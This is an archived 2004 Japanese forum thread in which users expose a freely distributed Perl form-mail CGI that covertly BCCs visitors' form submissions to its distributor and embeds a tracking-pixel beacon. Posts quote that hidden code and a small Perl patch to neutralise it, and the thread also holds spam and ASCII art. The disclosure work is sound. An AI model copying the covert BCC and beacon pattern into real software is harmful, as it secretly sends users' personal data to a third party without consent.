★三 【 スクリプト改造工房 PART 8 】 ★三
■ このスレッドは過去ログ倉庫に格納されています
0001sage
04/02/23 17:36ID:???# スレッドの説明
#================================
「スクリプトを改造したいけどやりかたわかんないよー」という人がいましたら
ここで聞いてください。ひょっとしたらアドバイス出来るかもしれません。
質問するときは以下の点に注意して書いて下さい
(1) そのスクリプトの内容と置いてある場所を明記する (txtファイルでUPすればなお良い)
(2) どんな風に改造して欲しいのか？ (完成イメージHTMLを用意すればなお良し)
(3) 出来るだけ詳しく書くこと。少しは自分で考えること。できれば御礼も言ったほうが良い
※答えてくれないからといって逆ギレする厨はお断り
前スレ http://pc2.2ch.net/test/read.cgi/php/1063780103/
0232230
04/06/11 23:21ID:???誰かヨロシク。
0233nobodyさん
04/06/11 23:32ID:???よっぽど捻ってスレ立てないと即落ちだぞ。
0234nobodyさん
04/06/11 23:36ID:???とりあえず、世のサイト管理人に知らせたいもんだ。
0235nobodyさん
04/06/11 23:42ID:???ネトヲチ板とか
0237nobodyさん
04/06/11 23:46ID:???相手が既に気付いてるなら夜逃げ段階かもしれないけど。
0238nobodyさん
04/06/11 23:49ID:???CGIスクリプト本文の中に、 送ってもらうフォーム内容を
スクリプト配布元のメールアドレスにもBCCで送信する構文が入っているものがありました。
そしてフォームHTML内にはスクリプト配布元のアクセス解析のGIF画像まで。
ttp://web-up.cside.biz/
http://ringoch.nekoruri.jp/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://alpha.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://gateway.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://ringoch.dayomon.net/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://alpha.www.td:81/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://ringoch.nekoruri.jp/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://alpha.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://gateway.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://ringoch.dayomon.net/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://alpha.www.td:81/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
こんな感じか。
>>2に画像のURLでもいいね。誰かﾖﾛ
0239nobodyさん
04/06/11 23:51ID:???一応参考までに。
「痛いニュース速報＋」
http://news16.2ch.net/dqnplus/
0240nobodyさん
04/06/11 23:57ID:???http://ex5.2ch.net/test/read.cgi/net/1086965756/l50
たてたよー
0241nobodyさん
04/06/11 23:59ID:zWex4Tqd今保存ちう～
> 個人情報の取り扱いについて
> ◆お客様の個人情報の取り扱いについて
> 弊社が収集した個人情報は、不適切な対応が行われないよう厳重に管理いたします。
> ◆お客様の個人情報の第三者への提供について
> お客様から提供を受けた個人情報は、お客様のご了承なしで第三者へ提供することはありません。
> 同様に、お客様のご了承なしで弊社の都合で勝手にDMを送付するといったこともありません。
> ◆スクリプトを不正に利用した方の個人情報の取り扱いについて
> 当サイト配布スクリプトを不正に利用していることが判明した方の個人情報に関しては、例外的に、ご本人様の承諾を得ることなく当サイトにて公開することがありますのでご了承下さい。
商用サイト向けに作られてるから
さぞ個人情報が集まった事だろうね。
227nobodyさんage04/06/11 22:34 ID:???法律に反してまで不正に個人情報収集ｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!!
0242未承諾広告※ ◆TWARamEjuA
04/06/12 00:00ID:???0244未承諾広告※ ◆TWARamEjuA
04/06/12 00:09ID:???【盗聴】web-up.cside.biz【個人情報詐取】
http://news16.2ch.net/test/read.cgi/dqnplus/1086966502/l50
0248未承諾広告※ ◆TWARamEjuA
04/06/12 00:31ID:???だから怖かったりして（ｗ
ってことで、mesh.ad.jp の人よろですー（ｗ
（実は対策中＠スレ立て規制ルーチン）
0249nobodyさん
04/06/12 00:39ID:???突然ですが、おめでとうございます！
あなたはオレオレ詐欺を成功させる為の絶好の機会に恵まれました！この機会に、ぜひあなたの常識が正しいかどうかを確かめてみて下さい。
さっそくですが、あなたの会社ではコンピュータやプログラムが出来る仕事を人間がやっているということはありませんか？それは本当に実在の人間でないと出来ない仕事ですか？
零細企業ほど業務のIT化・自動化を進めて、貴重な人的資源を有効に活用する必要があります。オレオレ詐欺運営業務のほとんどは、コンピュータに自動でやらせることが出来るのですから！
0250nobodyさん
04/06/12 01:34ID:XcpBcCfnhttp://news12.2ch.net/test/read.cgi/news/1086971546/
0251nobodyさん
04/06/12 01:38ID:S59QSIAd0252nobodyさん
04/06/12 01:38ID:F7bl5wsk0253nobodyさん
04/06/12 01:39ID:???0254nobodyさん
04/06/12 01:41ID:???0255nobodyさん
04/06/12 01:50ID:???ν速 http://news12.2ch.net/test/read.cgi/news/1086971546/
ｦﾁ http://ex5.2ch.net/test/read.cgi/net/1086965756/
痛＋ http://news16.2ch.net/test/read.cgi/dqnplus/1086966502/
0256nobodyさん
04/06/12 01:51ID:???ｃ⌒っ*ﾟдﾟ)っφ 記念ｶｷｺ
0257nobodyさん
04/06/12 02:02ID:???祈念カキコ。
0258うんこぶりぶりまん
04/06/12 02:03ID:2GlvRme60259nobodyさん
04/06/12 02:11ID:09i6j9GU0260nobodyさん
04/06/12 02:14ID:???http://pc5.2ch.net/test/read.cgi/sec/1086973725/
0261nobodyさん
04/06/12 02:16ID:???| 祭り？ |
|＿＿＿＿＿＿＿＿|
∧ ∧|| ω
（*￣∀￣）（・|＞
＿|U＿|／／
＼＿＿_ノ
...⊂￣U U￣⊃
⊂＿＿ｼﾞｮｰ＿_⊃
0263nobodyさん
04/06/12 02:23ID:???ﾓﾘｱｶﾞｯﾃﾏｲﾘﾏｼﾀｰ！！！！
∧ ∧ ,，──,－､ ♪
(,,ﾟДﾟ) / （： ：（ ） ))
|つ／つ `ー─``ー'
～| | ┣━━┫┨
Ｕ Ｕ ┠┤ ┣┫
0264nobodyさん
04/06/12 02:26ID:wopb/Mb3>読者様から送ってもらうフォーム内容を、
>スクリプト配布元のメールアドレスにもBCCで送信する構文が入ってて( ﾟдﾟ)ﾎﾟｶｰｿ
>しかもそれだけじゃなく、フォームのHTML内には
>スクリプト配布元のリンク監視用（？）
>アクセス解析GIF透明画像（もちろん相手のサイトを直接呼び出し）が埋め込まれた。
>つまり、読者様の与り知らないところで自サイトフォームへのアクセスがCGIの配布元に記録され、
>しかも大きな声ではとてもとても言えないような密やかな萌えをCGIの配布元にまで
>ｺｿｰﾘ送信するような仕組みになっていたというわけだ。
>(((（ ;ﾟДﾟ))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ
これでもわからない奴はry
0265nobodyさん
04/06/12 02:28ID:ePpV/3zGWebsite Explorerで落としてるんだけど重いなここのサイト。
0266nobodyさん
04/06/12 02:29ID:???ttp://www.ruitomo.com/~gulab/s.cgi?k=web-up&o=r
あと立つならWeb制作とネットサービスあたりなのかな。
0267nobodyさん
04/06/12 02:32ID:???頭沸いてるんかコイツ
0268nobodyさん
04/06/12 02:36ID:???0270nobodyさん
04/06/12 02:37ID:???それはshtmlも落とせるのかな？
なんかshtmlだらけで満足に落とせないとどこかのスレで見たよ
0271nobodyさん
04/06/12 02:38ID:???68 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！ ：04/06/12 02:09 ID:/o6BW1Gu
Num-Mailしか見てないけど、メールが抜かれるのって
著作権表示を消した時と、一番最初にメール送信した時だけだよな？
$temp何とかってファイルを空にすればまた抜かれるけど
メールを送信するたびに抜かれるわけじゃないよな？
0272nobodyさん
04/06/12 02:39ID:???0273nobodyさん
04/06/12 02:42ID:???0277274
04/06/12 02:52ID:???いや、だから一回目に送るメールってのは大概運営者だから
そのアドレスだけを抜き出そうという魂胆でそ>>271読む限りでは
おれも今からソースみてみるけど
0278nobodyさん
04/06/12 02:53ID:???承諾して使ってるユーザーにあるんだろ
0279nobodyさん
04/06/12 02:57ID:???8. 本スクリプトの不正利用防止・設置状況把握を目的として、本スクリプトから設置先サーバーの情報を収集することがありますが、利用者はこれに同意したものとします。
補足
ついでに個人情報も収集します
0280nobodyさん
04/06/12 02:57ID:???と煽っておく
0281nobodyさん
04/06/12 02:59ID:???> 8. 本スクリプトの不正利用防止・設置状況把握を目的として、
> 本スクリプトから設置先サーバーの情報を収集することがありますが、
> 利用者はこれに同意したものとします。
これはBCCで情報収集の言い訳として成り立つのか？というところだな。
0282nobodyさん
04/06/12 03:00ID:???(1)
if($footer !~ /Web-UP/ or $ver !~ /Num-Mail v1.04/)
{ $bcc = '[email protected]'; $bad = 1; }
(2)
if(!open(TEMP,"$temp_file")){ &error('一時ファイルが開けませんでした'); }
$TEMP = <TEMP>;
close(TEMP);
if($TEMP eq ''){
my $H = $ENV{'HTTP_HOST'};
my $S = $ENV{'SCRIPT_NAME'};
$PAGE = <<EOF;
<script type="text/javascript" language="JavaScript">
<!--
（略。IMG使ってアク解仕込んでる）
// -->
</script>
<noscript>
<img src="http://web-up.cside.biz/cgi/use/ac.cgi?pg=$H$S" width=1 height=1 border=0>
</noscript>
EOF
$bcc = '[email protected];'.$bcc;
}
#(2)は「送信ボタン2度押し検出」だそうだ
#「一時ファイル」に最後に送信したUAやホストを記録してる
0283nobodyさん
04/06/12 03:03ID:???頭マジいかれてるな
0285nobodyさん
04/06/12 03:13ID:???http://atpc.cside9.com/d.c.p/goannnai.htm
0287nobodyさん
04/06/12 03:22ID:???どっちにしても、すぐばれるだろうが。
0288nobodyさん
04/06/12 03:27ID:???document.write("pg="+pg+a+"pf="+pf+"lng="+lng+"swh="+swh+"cd="+cd+"pd="+pd+"rf="+rf);
document.write("' width=1 height=1 border=0>");
何やってんだ？
0290nobodyさん
04/06/12 03:32ID:???0291nobodyさん
04/06/12 03:32ID:???ﾇｰ速もやる気なくなってるぞ
0292nobodyさん
04/06/12 03:33ID:???0294nobodyさん
04/06/12 03:34ID:???0296nobodyさん
04/06/12 03:38ID:???しかも今回は
“最初の一回だけ送信”דcgi設置した件数”
だよな
0299nobodyさん
04/06/12 03:44ID:???> &error('<b>スクリプト利用規約違反行為を検出しました</b><br><a href="mailto:[email protected]">こちら</a>からご連絡下さい');
>}
（ ´,_ゝ`）ﾌﾟｯ
0300nobodyさん
04/06/12 03:46ID:???web-upに送られるという極悪仕様らしいね
0302nobodyさん
04/06/12 03:52ID:???一通目は普通管理人だから問題ないけど、(いや、あるけど)
二通目以降の本番使用での訪問者による送信でも、
サイト管理者が不正使用なら訪問者のメールも読まれてしまう
という意味でしょうが
0303295
04/06/12 03:55ID:???最後に送ったメールの送信者やら送信時刻やらを保存してるファイル。
送信ボタン２度押しによる２重送信を防ぐために、
1.$temp_fileに記録した時刻から５秒以内に
2.送信者アドレスとUAとホストが同じメールを送ろうとした
場合には、２通目を送らないようにする。
このファイルが空白の場合に、BCCに余計なアドレスが追加される。
0304nobodyさん
04/06/12 03:56ID:???0305nobodyさん
04/06/12 03:57ID:???入力内容が同一でないとエラーとする項目をいくつでも設定できます。
半角数字のみ入力許可とする項目、半角英数字のみ入力許可とする項目をいくつでも設定できます。
7桁郵便番号(ハイフン付き)の書式チェックをする項目をいくつでも設定できます。
カタカナと空白のみを入力許可とする項目をいくつでも設定できます。
加入電話番号(ハイフン付き)の書式チェックをする項目をいくつでも設定できます。
携帯電話番号(ハイフン付き)の書式チェックをする項目をいくつでも設定できます。
その他の電話番号(ハイフン付き)の書式チェックをする項目をいくつでも設定できます。
日付の書式チェックをする項目をいくつでも設定できます。
日付の書式チェックをする項目に存在しない日付が入力された場合エラーとなります（うるう年にも対応）。
入力禁止とする項目をいくつでも設定できますので、フリーメールアドレスからの送信などを事前に防止できます。
メールアドレス・ホームページアドレスを正規表現を使って厳密に書式チェックします。これにより、せっかくメールを送ってくれた送信者の方が運悪くメールアドレスを間違って記入してしまい連絡が取れなくなるというトラブルを大幅に減らすことができます。
( ´,_ゝ｀)ﾌﾟｯ
要するに
・入力情報チェック機能
だろが
0306nobodyさん
04/06/12 04:25ID:???#!/usr/bin/perl
open(HI,"<hi-mail.cgi");
@data=<HI>;
close(HI);
foreach (@data){ s/web-up.cside.biz/unko/; }
open(HI,">hi-mail.cgi");
print HI @data;
close(HI);
ここにpatch.cgi置いときますね
0307nobodyさん
04/06/12 04:26ID:???当サイト配布スクリプトを不正に利用していることが判明した方の個人情報に関しては、例外的に、ご本人様の承諾を得ることなく当サイトにて公開することがありますのでご了承下さい。
0308nobodyさん
04/06/12 04:34ID:???それを押さえておけば、例外的に公開することも可能だわな
0309nobodyさん
04/06/12 04:38ID:???0310nobodyさん
04/06/12 04:41ID:???ここのサイト、tagput_pro.cgiで更新してるみたいなんだが
http://66.102.7.104/search?q=cache:JRHaTvJhWzcJ:headlinetoday.co.jp/+%22web-up.cside.biz%22&hl=ja
ググルのキャッシュでみるとtagput_pro.cgiがエラーを吐いてるみたい。
このキャッシュのソースを覗くと
<a href="mailto:bad@<B style="color:black;background-color:#ffff66">web-up.cside.biz</B>">bad@<B style="color:black;background-color:#ffff66">web-up.cside.biz</B></a>
という妙なﾒﾙｱﾄﾞが出るんだけど（いろいろ化けてるが）、これって…
詳しい人、解析ﾖﾛ
マルチスマソ
0312nobodyさん
04/06/12 04:48ID:???0313nobodyさん
04/06/12 05:33ID:/fieIMmV0314nobodyさん
04/06/12 06:18ID:???0315nobodyさん
04/06/12 06:32ID:???0316nobodyさん
04/06/12 07:15ID:???突然ですが、おめでとうございます！
↓
0317nobodyさん
04/06/12 07:18ID:???0318nobodyさん
04/06/12 08:01ID:52DXtjEo0319nobodyさん
04/06/12 08:41ID:???0320nobodyさん
04/06/12 10:01ID:8dH8rMjw0321nobodyさん
04/06/12 10:23ID:???0322nobodyさん
04/06/12 10:55ID:???0323nobodyさん
04/06/12 10:56ID:???0324nobodyさん
04/06/12 12:37ID:???0325nobodyさん
04/06/12 15:04ID:???http://www.kent-web.com/cgi/replist.cgi
0326owl ◆OwldoPiCSY
04/06/12 15:28ID:DNW7e13+((ﾟｖﾟ ) )＜N速ｶﾗｷﾏｽﾀ！
（(::...(::ヽ
＿ ゝゝﾞ^ヽ
( = ´´ ￣(◎)
￣￣| l|￣￣
.|. il|
""""""""""""""""""""""""""""""""
0328nobodyさん
04/06/12 22:32ID:???0329nobodyさん
04/06/13 00:11ID:JEhoRN3u0330201
04/06/13 09:14ID:???ご教示有難う御座います。
教えていただいたとおりにやったらID機能を付けることができました。
編集時などに元の名前を表示させたりするのがちょっと大変でしたが…
ありがとうございました。
0331nobodyさん
04/06/14 20:40ID:cBqzTbjiなんか不正じゃなくて堂々と取得するって書いてある場合は良いでないか？
■ このスレッドは過去ログ倉庫に格納されています